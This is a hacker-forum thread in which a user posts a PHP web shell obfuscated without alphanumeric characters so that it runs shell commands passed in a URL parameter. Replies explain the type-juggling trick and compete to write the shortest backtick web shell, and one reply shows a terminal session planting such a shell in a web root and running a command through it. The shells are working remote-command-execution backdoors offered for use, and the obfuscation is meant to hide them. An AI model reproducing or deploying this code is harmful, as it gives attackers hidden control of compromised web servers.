[Ego Inc]

So I've been messing arround with different methods of obfuscvation in php and stuff like that out of boredom lately.. So here is a very simple shell I wrote.

usage: /shell.php?c={exec_command_here}

Source:

PHP Code


<? /* Simple Shell by Tux. */
$_[+'']='';@$_=$_.'';@$__=++$__+(++$__);$__=$_[$__];
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
++$__;++$__;++$__;$___=$__;++$___;++$___;++$___;$__=$__.$___;$___=
$_[$__];++$___;++$___;++$___;$__=$__.$___;$___=$_[$__];++
$___;++$___;$____=$___;++$____;++$____;++$____;++$____;++$____;$___
=$___.$____;++$____;++$____;++$____;++$____;++$____;++$____;++$____;
++$____;++$____;++$____;$___=$___.$____;$__=+'';++$__;$____=
$__($_[$__]);$____=$____-++$__;$____=$___($____).$___(++$____+
(--$__));--$__;--$__;$__=$___[$__];++$__;$____=
$____.$__;++$__;++$__;++$__;++$__;++$__;$____=$____.
$__;$__=$__[$__];++$__;++$__;$____=$____.$__;++
$__;++$__;$__=$_[$__];++$__;++$__;++$__;++
$__;++$__;$____=$____.$__;$__=--$__;$__=$__
[$__];++$__;++$__;++$__;$__=$_[$__];$__=
$__($__)-1;$__=$___($__);$__=$__.$__.$__;
$__=+'';$__=$__.$___[$__];$__='_';$__=$_[+''];
++$__;++$__;++$__;++$__;++$__;++$__;
$__=$__.$__;$__=$__($__)-2;$__=$__.$___
($__);++$__;++$__;++$__;++$__;++$__;
++$__;++$__;++$__;++$__;++$__;++$__;
++$__;++$__;++$__;++$__;$__=$__.$___
($__);$____($__($_GET[$___[+'']]));?>

What do you all think of it?

[Ego Inc]

<?php `{$_GET['c']}` ?>
That's still pretty hard to get unless you know what the fuck backticks do.

actually this doesn't use backticks tho? And the point of this was showing the obfuscation method :p

it uses exec() witch is the same but it spells it out.

[Ego Inc]

Nice idea, never thought of using this as an obfuscation. Also takes some time to deobfuscate it. It kinda reminds me of the language 'Brainfuck'. :p

Well do you understand what exactly I did? For instance how did I get the word 'exec' stored in the variable $__ wishout using any alphanumeric letters?

[Ego Inc]

Yes I do =P The last line makes it kinda obvious - a string contains the function name, which will be executed. And before you're doing a lot of fiddly string-building / character addition&subtraction, for example: 'a'++ --> 'b'

EDIT: Just curious, did you actually write a script to do that? Or is it 'hand written'?

Hand written, but here's the big question for u, how did I get the alphabetic letters in there in the first place?

[Ego Inc]

Well, it is done like this:

Code

$a[+'']=''; // Create array
$a=$a.''; // Saves 'Array' into a string
$b=4; // For example, 5th character (=> y)
var_dump($a[$b]); // Access single character, will return "y"

Clever way to hide a character, I must admit, and it takes some time to see through ;)

Regards
NeoXiD

Very nice 🙂 You must of seen this before then 😝

[Ego Inc]

Thanks! And naah, not really, just a bit familiar with that chapter called "Type Juggling" in the PHP manual 🙂

Oh nice :p and yeah I've been having fun with it, had nothin to do at work lately so just been messing arround with php while there.

[Ego Inc]

Exec() sucks balls mang, why aren't you using passthru() or at least shell_exec()

Its just a poc, lol :p But Im writing a much more sophisticated shell in this manor of obfuscation witch I will be releasing here shortly witch will have many measures with witch to try to execute system commands.

[urez]

Exec() sucks balls mang, why aren't you using passthru() or at least shell_exec()

why is passthru() and shell_exec() better than exec()? whats the difference,i thought they do basically the same thing

[Ego Inc]

why is passthru() and shell_exec() better than exec()? whats the difference,i thought they do basically the same thing

They work in different ways I believe.

[Ego Inc]

And the record for the shortest PHP shell goes to...

Wasn't going for short tho? lol you all miss the point 😝

[Ego Inc]

And the record for the shortest PHP shell goes to...

Also, ne I believe the shortens in that case would be:

PHP Code


<?=`{$_GET['c']}`;?>

🤫

[Ego Inc]

Dammit, got me again. Try loosing the semicolon though, I heared they aren't required on one-line scripts.

Haha yesh 😝 Your right, looks like you got me?

[Ego Inc]

Not quite.

PHP Code


<?=`$_GET[0]`?>

Do I get a cookie?

or...

PHP Code


<?=`$_GET[0]`; 


Did I just win your cookie?

[Ego Inc]

Code

jizzo# cd /srv/http/
jizzo# echo "<?=\`\$_GET[0]\`?>" > hehe.php
jizzo# apachectl start
jizzo# curl "localhost/hehe.php?0=id"  
uid=33(http) gid=33(http) groups=33(http)

Notice my edit, it was in response to somthing else and got in there on accadent lol :p I didnt mean what you said didnt work... 😝